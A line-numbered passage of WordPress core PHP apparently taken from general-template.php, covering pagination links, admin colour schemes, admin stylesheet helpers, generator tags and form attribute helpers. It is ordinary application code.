2913 * `max_num_pages` or 1.
2914 * @type int $current The current page number. Default is 'paged' query var or 1.
2915 * @type bool $show_all Whether to show all pages. Default false.
2916 * @type int $end_size How many numbers on either the start and the end list edges.
2917 * Default 1.
2918 * @type int $mid_size How many numbers to either side of the current pages. Default 2.
2919 * @type bool $prev_next Whether to include the previous and next links in the list. Default true.
2920 * @type bool $prev_text The previous page text. Default '« Previous'.
2921 * @type bool $next_text The next page text. Default '« Previous'.
2922 * @type string $type Controls format of the returned value. Possible values are 'plain',
2923 * 'array' and 'list'. Default is 'plain'.
2924 * @type array $add_args An array of query args to add. Default false.
2925 * @type string $add_fragment A string to append to each link. Default empty.
2926 * @type string $before_page_number A string to appear before the page number. Default empty.
2927 * @type string $after_page_number A string to append after the page number. Default empty.
2928 * }
2929 * @return array|string|void String of page links or array of page links.
2930 */
2931function paginate_links( $args = '' ) {
2932 global $wp_query, $wp_rewrite;
2933
2934 // Setting up default values based on the current URL.
2935 $pagenum_link = html_entity_decode( get_pagenum_link() );
2936 $url_parts = explode( '?', $pagenum_link );
2937
2938 // Get max pages and current page out of the current query, if available.
2939 $total = isset( $wp_query->max_num_pages ) ? $wp_query->max_num_pages : 1;
2940 $current = get_query_var( 'paged' ) ? intval( get_query_var( 'paged' ) ) : 1;
2941
2942 // Append the format placeholder to the base URL.
2943 $pagenum_link = trailingslashit( $url_parts[0] ) . '%_%';
2944
2945 // URL base depends on permalink settings.
2946 $format = $wp_rewrite->using_index_permalinks() && ! strpos( $pagenum_link, 'index.php' ) ? 'index.php/' : '';
2947 $format .= $wp_rewrite->using_permalinks() ? user_trailingslashit( $wp_rewrite->pagination_base . '/%#%', 'paged' ) : '?paged=%#%';
2948
2949 $defaults = array(
2950 'base' => $pagenum_link, // http://example.com/all_posts.php%_% : %_% is replaced by format (below)
2951 'format' => $format, // ?page=%#% : %#% is replaced by the page number
2952 'total' => $total,
2953 'current' => $current,
2954 'show_all' => false,
2955 'prev_next' => true,
2956 'prev_text' => __('« Previous'),
2957 'next_text' => __('Next »'),
2958 'end_size' => 1,
2959 'mid_size' => 2,
2960 'type' => 'plain',
2961 'add_args' => array(), // array of query args to add
2962 'add_fragment' => '',
2963 'before_page_number' => '',
2964 'after_page_number' => ''
2965 );
2966
2967 $args = wp_parse_args( $args, $defaults );
2968
2969 if ( ! is_array( $args['add_args'] ) ) {
2970 $args['add_args'] = array();
2971 }
2972
2973 // Merge additional query vars found in the original URL into 'add_args' array.
2974 if ( isset( $url_parts[1] ) ) {
2975 // Find the format argument.
2976 $format = explode( '?', str_replace( '%_%', $args['format'], $args['base'] ) );
2977 $format_query = isset( $format[1] ) ? $format[1] : '';
2978 wp_parse_str( $format_query, $format_args );
2979
2980 // Find the query args of the requested URL.
2981 wp_parse_str( $url_parts[1], $url_query_args );
2982
2983 // Remove the format argument from the array of query arguments, to avoid overwriting custom format.
2984 foreach ( $format_args as $format_arg => $format_arg_value ) {
2985 unset( $url_query_args[ $format_arg ] );
2986 }
2987
2988 $args['add_args'] = array_merge( $args['add_args'], urlencode_deep( $url_query_args ) );
2989 }
2990
2991 // Who knows what else people pass in $args
2992 $total = (int) $args['total'];
2993 if ( $total < 2 ) {
2994 return;
2995 }
2996 $current = (int) $args['current'];
2997 $end_size = (int) $args['end_size']; // Out of bounds? Make it the default.
2998 if ( $end_size < 1 ) {
2999 $end_size = 1;
3000 }
3001 $mid_size = (int) $args['mid_size'];
3002 if ( $mid_size < 0 ) {
3003 $mid_size = 2;
3004 }
3005 $add_args = $args['add_args'];
3006 $r = '';
3007 $page_links = array();
3008 $dots = false;
3009
3010 if ( $args['prev_next'] && $current && 1 < $current ) :
3011 $link = str_replace( '%_%', 2 == $current ? '' : $args['format'], $args['base'] );
3012 $link = str_replace( '%#%', $current - 1, $link );
3013 if ( $add_args )
3014 $link = add_query_arg( $add_args, $link );
3015 $link .= $args['add_fragment'];
3016
3017 /**
3018 * Filter the paginated links for the given archive pages.
3019 *
3020 * @since 3.0.0
3021 *
3022 * @param string $link The paginated link URL.
3023 */
3024 $page_links[] = '<a class="prev page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $args['prev_text'] . '</a>';
3025 endif;
3026 for ( $n = 1; $n <= $total; $n++ ) :
3027 if ( $n == $current ) :
3028 $page_links[] = "<span class='page-numbers current'>" . $args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number'] . "</span>";
3029 $dots = true;
3030 else :
3031 if ( $args['show_all'] || ( $n <= $end_size || ( $current && $n >= $current - $mid_size && $n <= $current + $mid_size ) || $n > $total - $end_size ) ) :
3032 $link = str_replace( '%_%', 1 == $n ? '' : $args['format'], $args['base'] );
3033 $link = str_replace( '%#%', $n, $link );
3034 if ( $add_args )
3035 $link = add_query_arg( $add_args, $link );
3036 $link .= $args['add_fragment'];
3037
3038 /** This filter is documented in wp-includes/general-template.php */
3039 $page_links[] = "<a class='page-numbers' href='" . esc_url( apply_filters( 'paginate_links', $link ) ) . "'>" . $args['before_page_number'] . number_format_i18n( $n ) . $args['after_page_number'] . "</a>";
3040 $dots = true;
3041 elseif ( $dots && ! $args['show_all'] ) :
3042 $page_links[] = '<span class="page-numbers dots">' . __( '…' ) . '</span>';
3043 $dots = false;
3044 endif;
3045 endif;
3046 endfor;
3047 if ( $args['prev_next'] && $current && ( $current < $total || -1 == $total ) ) :
3048 $link = str_replace( '%_%', $args['format'], $args['base'] );
3049 $link = str_replace( '%#%', $current + 1, $link );
3050 if ( $add_args )
3051 $link = add_query_arg( $add_args, $link );
3052 $link .= $args['add_fragment'];
3053
3054 /** This filter is documented in wp-includes/general-template.php */
3055 $page_links[] = '<a class="next page-numbers" href="' . esc_url( apply_filters( 'paginate_links', $link ) ) . '">' . $args['next_text'] . '</a>';
3056 endif;
3057 switch ( $args['type'] ) {
3058 case 'array' :
3059 return $page_links;
3060
3061 case 'list' :
3062 $r .= "<ul class='page-numbers'>\n\t<li>";
3063 $r .= join("</li>\n\t<li>", $page_links);
3064 $r .= "</li>\n</ul>\n";
3065 break;
3066
3067 default :
3068 $r = join("\n", $page_links);
3069 break;
3070 }
3071 return $r;
3072}
3073
3074/**
3075 * Registers an admin colour scheme css file.
3076 *
3077 * Allows a plugin to register a new admin colour scheme. For example:
3078 *
3079 * wp_admin_css_color( 'classic', __( 'Classic' ), admin_url( "css/colors-classic.css" ), array(
3080 * '#07273E', '#14568A', '#D54E21', '#2683AE'
3081 * ) );
3082 *
3083 * @since 2.5.0
3084 *
3085 * @todo Properly document optional arguments as such
3086 *
3087 * @global array $_wp_admin_css_colors
3088 *
3089 * @param string $key The unique key for this theme.
3090 * @param string $name The name of the theme.
3091 * @param string $url The url of the css file containing the colour scheme.
3092 * @param array $colors Optional An array of CSS color definitions which are used to give the user a feel for the theme.
3093 * @param array $icons Optional An array of CSS color definitions used to color any SVG icons
3094 */
3095function wp_admin_css_color( $key, $name, $url, $colors = array(), $icons = array() ) {
3096 global $_wp_admin_css_colors;
3097
3098 if ( !isset($_wp_admin_css_colors) )
3099 $_wp_admin_css_colors = array();
3100
3101 $_wp_admin_css_colors[$key] = (object) array(
3102 'name' => $name,
3103 'url' => $url,
3104 'colors' => $colors,
3105 'icon_colors' => $icons,
3106 );
3107}
3108
3109/**
3110 * Registers the default Admin color schemes
3111 *
3112 * @since 3.0.0
3113 *
3114 * @global string $wp_version
3115 */
3116function register_admin_color_schemes() {
3117 $suffix = is_rtl() ? '-rtl' : '';
3118 $suffix .= SCRIPT_DEBUG ? '' : '.min';
3119
3120 wp_admin_css_color( 'fresh', _x( 'Default', 'admin color scheme' ),
3121 false,
3122 array( '#222', '#333', '#0073aa', '#00a0d2' ),
3123 array( 'base' => '#999', 'focus' => '#00a0d2', 'current' => '#fff' )
3124 );
3125
3126 // Other color schemes are not available when running out of src
3127 if ( false !== strpos( $GLOBALS['wp_version'], '-src' ) )
3128 return;
3129
3130 wp_admin_css_color( 'light', _x( 'Light', 'admin color scheme' ),
3131 admin_url( "css/colors/light/colors$suffix.css" ),
3132 array( '#e5e5e5', '#999', '#d64e07', '#04a4cc' ),
3133 array( 'base' => '#999', 'focus' => '#ccc', 'current' => '#ccc' )
3134 );
3135
3136 wp_admin_css_color( 'blue', _x( 'Blue', 'admin color scheme' ),
3137 admin_url( "css/colors/blue/colors$suffix.css" ),
3138 array( '#096484', '#4796b3', '#52accc', '#74B6CE' ),
3139 array( 'base' => '#e5f8ff', 'focus' => '#fff', 'current' => '#fff' )
3140 );
3141
3142 wp_admin_css_color( 'midnight', _x( 'Midnight', 'admin color scheme' ),
3143 admin_url( "css/colors/midnight/colors$suffix.css" ),
3144 array( '#25282b', '#363b3f', '#69a8bb', '#e14d43' ),
3145 array( 'base' => '#f1f2f3', 'focus' => '#fff', 'current' => '#fff' )
3146 );
3147
3148 wp_admin_css_color( 'sunrise', _x( 'Sunrise', 'admin color scheme' ),
3149 admin_url( "css/colors/sunrise/colors$suffix.css" ),
3150 array( '#b43c38', '#cf4944', '#dd823b', '#ccaf0b' ),
3151 array( 'base' => '#f3f1f1', 'focus' => '#fff', 'current' => '#fff' )
3152 );
3153
3154 wp_admin_css_color( 'ectoplasm', _x( 'Ectoplasm', 'admin color scheme' ),
3155 admin_url( "css/colors/ectoplasm/colors$suffix.css" ),
3156 array( '#413256', '#523f6d', '#a3b745', '#d46f15' ),
3157 array( 'base' => '#ece6f6', 'focus' => '#fff', 'current' => '#fff' )
3158 );
3159
3160 wp_admin_css_color( 'ocean', _x( 'Ocean', 'admin color scheme' ),
3161 admin_url( "css/colors/ocean/colors$suffix.css" ),
3162 array( '#627c83', '#738e96', '#9ebaa0', '#aa9d88' ),
3163 array( 'base' => '#f2fcff', 'focus' => '#fff', 'current' => '#fff' )
3164 );
3165
3166 wp_admin_css_color( 'coffee', _x( 'Coffee', 'admin color scheme' ),
3167 admin_url( "css/colors/coffee/colors$suffix.css" ),
3168 array( '#46403c', '#59524c', '#c7a589', '#9ea476' ),
3169 array( 'base' => '#f3f2f1', 'focus' => '#fff', 'current' => '#fff' )
3170 );
3171
3172}
3173
3174/**
3175 * Display the URL of a WordPress admin CSS file.
3176 *
3177 * @see WP_Styles::_css_href and its style_loader_src filter.
3178 *
3179 * @since 2.3.0
3180 *
3181 * @param string $file file relative to wp-admin/ without its ".css" extension.
3182 * @return string
3183 */
3184function wp_admin_css_uri( $file = 'wp-admin' ) {
3185 if ( defined('WP_INSTALLING') ) {
3186 $_file = "./$file.css";
3187 } else {
3188 $_file = admin_url("$file.css");
3189 }
3190 $_file = add_query_arg( 'version', get_bloginfo( 'version' ), $_file );
3191
3192 /**
3193 * Filter the URI of a WordPress admin CSS file.
3194 *
3195 * @since 2.3.0
3196 *
3197 * @param string $_file Relative path to the file with query arguments attached.
3198 * @param string $file Relative path to the file, minus its ".css" extension.
3199 */
3200 return apply_filters( 'wp_admin_css_uri', $_file, $file );
3201}
3202
3203/**
3204 * Enqueues or directly prints a stylesheet link to the specified CSS file.
3205 *
3206 * "Intelligently" decides to enqueue or to print the CSS file. If the
3207 * 'wp_print_styles' action has *not* yet been called, the CSS file will be
3208 * enqueued. If the wp_print_styles action *has* been called, the CSS link will
3209 * be printed. Printing may be forced by passing true as the $force_echo
3210 * (second) parameter.
3211 *
3212 * For backward compatibility with WordPress 2.3 calling method: If the $file
3213 * (first) parameter does not correspond to a registered CSS file, we assume
3214 * $file is a file relative to wp-admin/ without its ".css" extension. A
3215 * stylesheet link to that generated URL is printed.
3216 *
3217 * @since 2.3.0
3218 *
3219 * @param string $file Optional. Style handle name or file name (without ".css" extension) relative
3220 * to wp-admin/. Defaults to 'wp-admin'.
3221 * @param bool $force_echo Optional. Force the stylesheet link to be printed rather than enqueued.
3222 */
3223function wp_admin_css( $file = 'wp-admin', $force_echo = false ) {
3224 // For backward compatibility
3225 $handle = 0 === strpos( $file, 'css/' ) ? substr( $file, 4 ) : $file;
3226
3227 if ( wp_styles()->query( $handle ) ) {
3228 if ( $force_echo || did_action( 'wp_print_styles' ) ) // we already printed the style queue. Print this one immediately
3229 wp_print_styles( $handle );
3230 else // Add to style queue
3231 wp_enqueue_style( $handle );
3232 return;
3233 }
3234
3235 /**
3236 * Filter the stylesheet link to the specified CSS file.
3237 *
3238 * If the site is set to display right-to-left, the RTL stylesheet link
3239 * will be used instead.
3240 *
3241 * @since 2.3.0
3242 *
3243 * @param string $file Style handle name or filename (without ".css" extension)
3244 * relative to wp-admin/. Defaults to 'wp-admin'.
3245 */
3246 echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( $file ) ) . "' type='text/css' />\n", $file );
3247
3248 if ( function_exists( 'is_rtl' ) && is_rtl() ) {
3249 /** This filter is documented in wp-includes/general-template.php */
3250 echo apply_filters( 'wp_admin_css', "<link rel='stylesheet' href='" . esc_url( wp_admin_css_uri( "$file-rtl" ) ) . "' type='text/css' />\n", "$file-rtl" );
3251 }
3252}
3253
3254/**
3255 * Enqueues the default ThickBox js and css.
3256 *
3257 * If any of the settings need to be changed, this can be done with another js
3258 * file similar to media-upload.js. That file should
3259 * require array('thickbox') to ensure it is loaded after.
3260 *
3261 * @since 2.5.0
3262 */
3263function add_thickbox() {
3264 wp_enqueue_script( 'thickbox' );
3265 wp_enqueue_style( 'thickbox' );
3266
3267 if ( is_network_admin() )
3268 add_action( 'admin_head', '_thickbox_path_admin_subfolder' );
3269}
3270
3271/**
3272 * Display the XHTML generator that is generated on the wp_head hook.
3273 *
3274 * @since 2.5.0
3275 */
3276function wp_generator() {
3277 /**
3278 * Filter the output of the XHTML generator tag.
3279 *
3280 * @since 2.5.0
3281 *
3282 * @param string $generator_type The XHTML generator.
3283 */
3284 the_generator( apply_filters( 'wp_generator_type', 'xhtml' ) );
3285}
3286
3287/**
3288 * Display the generator XML or Comment for RSS, ATOM, etc.
3289 *
3290 * Returns the correct generator type for the requested output format. Allows
3291 * for a plugin to filter generators overall the the_generator filter.
3292 *
3293 * @since 2.5.0
3294 *
3295 * @param string $type The type of generator to output - (html|xhtml|atom|rss2|rdf|comment|export).
3296 */
3297function the_generator( $type ) {
3298 /**
3299 * Filter the output of the XHTML generator tag for display.
3300 *
3301 * @since 2.5.0
3302 *
3303 * @param string $generator_type The generator output.
3304 * @param string $type The type of generator to output. Accepts 'html',
3305 * 'xhtml', 'atom', 'rss2', 'rdf', 'comment', 'export'.
3306 */
3307 echo apply_filters( 'the_generator', get_the_generator($type), $type ) . "\n";
3308}
3309
3310/**
3311 * Creates the generator XML or Comment for RSS, ATOM, etc.
3312 *
3313 * Returns the correct generator type for the requested output format. Allows
3314 * for a plugin to filter generators on an individual basis using the
3315 * 'get_the_generator_{$type}' filter.
3316 *
3317 * @since 2.5.0
3318 *
3319 * @param string $type The type of generator to return - (html|xhtml|atom|rss2|rdf|comment|export).
3320 * @return string|void The HTML content for the generator.
3321 */
3322function get_the_generator( $type = '' ) {
3323 if ( empty( $type ) ) {
3324
3325 $current_filter = current_filter();
3326 if ( empty( $current_filter ) )
3327 return;
3328
3329 switch ( $current_filter ) {
3330 case 'rss2_head' :
3331 case 'commentsrss2_head' :
3332 $type = 'rss2';
3333 break;
3334 case 'rss_head' :
3335 case 'opml_head' :
3336 $type = 'comment';
3337 break;
3338 case 'rdf_header' :
3339 $type = 'rdf';
3340 break;
3341 case 'atom_head' :
3342 case 'comments_atom_head' :
3343 case 'app_head' :
3344 $type = 'atom';
3345 break;
3346 }
3347 }
3348
3349 switch ( $type ) {
3350 case 'html':
3351 $gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '">';
3352 break;
3353 case 'xhtml':
3354 $gen = '<meta name="generator" content="WordPress ' . get_bloginfo( 'version' ) . '" />';
3355 break;
3356 case 'atom':
3357 $gen = '<generator uri="https://wordpress.org/" version="' . get_bloginfo_rss( 'version' ) . '">WordPress</generator>';
3358 break;
3359 case 'rss2':
3360 $gen = '<generator>https://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '</generator>';
3361 break;
3362 case 'rdf':
3363 $gen = '<admin:generatorAgent rdf:resource="https://wordpress.org/?v=' . get_bloginfo_rss( 'version' ) . '" />';
3364 break;
3365 case 'comment':
3366 $gen = '<!-- generator="WordPress/' . get_bloginfo( 'version' ) . '" -->';
3367 break;
3368 case 'export':
3369 $gen = '<!-- generator="WordPress/' . get_bloginfo_rss('version') . '" created="'. date('Y-m-d H:i') . '" -->';
3370 break;
3371 }
3372
3373 /**
3374 * Filter the HTML for the retrieved generator type.
3375 *
3376 * The dynamic portion of the hook name, `$type`, refers to the generator type.
3377 *
3378 * @since 2.5.0
3379 *
3380 * @param string $gen The HTML markup output to {@see wp_head()}.
3381 * @param string $type The type of generator. Accepts 'html', 'xhtml', 'atom',
3382 * 'rss2', 'rdf', 'comment', 'export'.
3383 */
3384 return apply_filters( "get_the_generator_{$type}", $gen, $type );
3385}
3386
3387/**
3388 * Outputs the html checked attribute.
3389 *
3390 * Compares the first two arguments and if identical marks as checked
3391 *
3392 * @since 1.0.0
3393 *
3394 * @param mixed $checked One of the values to compare
3395 * @param mixed $current (true) The other value to compare if not just true
3396 * @param bool $echo Whether to echo or just return the string
3397 * @return string html attribute or empty string
3398 */
3399function checked( $checked, $current = true, $echo = true ) {
3400 return __checked_selected_helper( $checked, $current, $echo, 'checked' );
3401}
3402
3403/**
3404 * Outputs the html selected attribute.
3405 *
3406 * Compares the first two arguments and if identical marks as selected
3407 *
3408 * @since 1.0.0
3409 *
3410 * @param mixed $selected One of the values to compare
3411 * @param mixed $current (true) The other value to compare if not just true
3412 * @param bool $echo Whether to echo or just return the string
3413 * @return string html attribute or empty string
3414 */
3415function selected( $selected, $current = true, $echo = true ) {
3416 return __checked_selected_helper( $selected, $current, $echo, 'selected' );
3417}
3418
3419/**
3420 * Outputs the html disabled attribute.
3421 *
3422 * Compares the first two arguments and if identical marks as disabled
3423 *
3424 * @since 3.0.0
3425 *
3426 * @param mixed $disabled One of the values to compare
3427 * @param mixed $current (true) The other value to compare if not just true
3428 * @param bool $echo Whether to echo or just return the string
3429 * @return string html attribute or empty string
3430 */
3431function disabled( $disabled, $current = true, $echo = true ) {
3432 return __checked_selected_helper( $disabled, $current, $echo, 'disabled' );
3433}
3434
3435/**
3436 * Private helper function for checked, selected, and disabled.
3437 *
3438 * Compares the first two arguments and if identical marks as $type
3439 *
3440 * @since 2.8.0
3441 * @access private
3442 *
3443 * @param mixed $helper One of the values to compare
3444 * @param mixed $current (true) The other value to compare if not just true
3445 * @param bool $echo Whether to echo or just return the string
3446 * @param string $type The type of checked|selected|disabled we are doing
3447 * @return string html attribute or empty string
3448 */
3449function __checked_selected_helper( $helper, $current, $echo, $type ) {
3450 if ( (string) $helper === (string) $current )
3451 $result = " $type='$type'";
3452 else
3453 $result = '';
3454
3455 if ( $echo )
3456 echo $result;
3457
3458 return $result;
3459}
3460
3461/**
3462 * Default settings for heartbeat
3463 *
3464 * Outputs the nonce used in the heartbeat XHR
3465 *
3466 * @since 3.6.0
3467 *
3468 * @param array $settings
3469 * @return array $settings
3470 */
3471function wp_heartbeat_settings( $settings ) {
3472 if ( ! is_admin() )
3473 $settings['ajaxurl'] = admin_url( 'admin-ajax.php', 'relative' );
3474
3475 if ( is_user_logged_in() )
3476 $settings['nonce'] = wp_create_nonce( 'heartbeat-nonce' );
3477
3478 return $settings;
3479}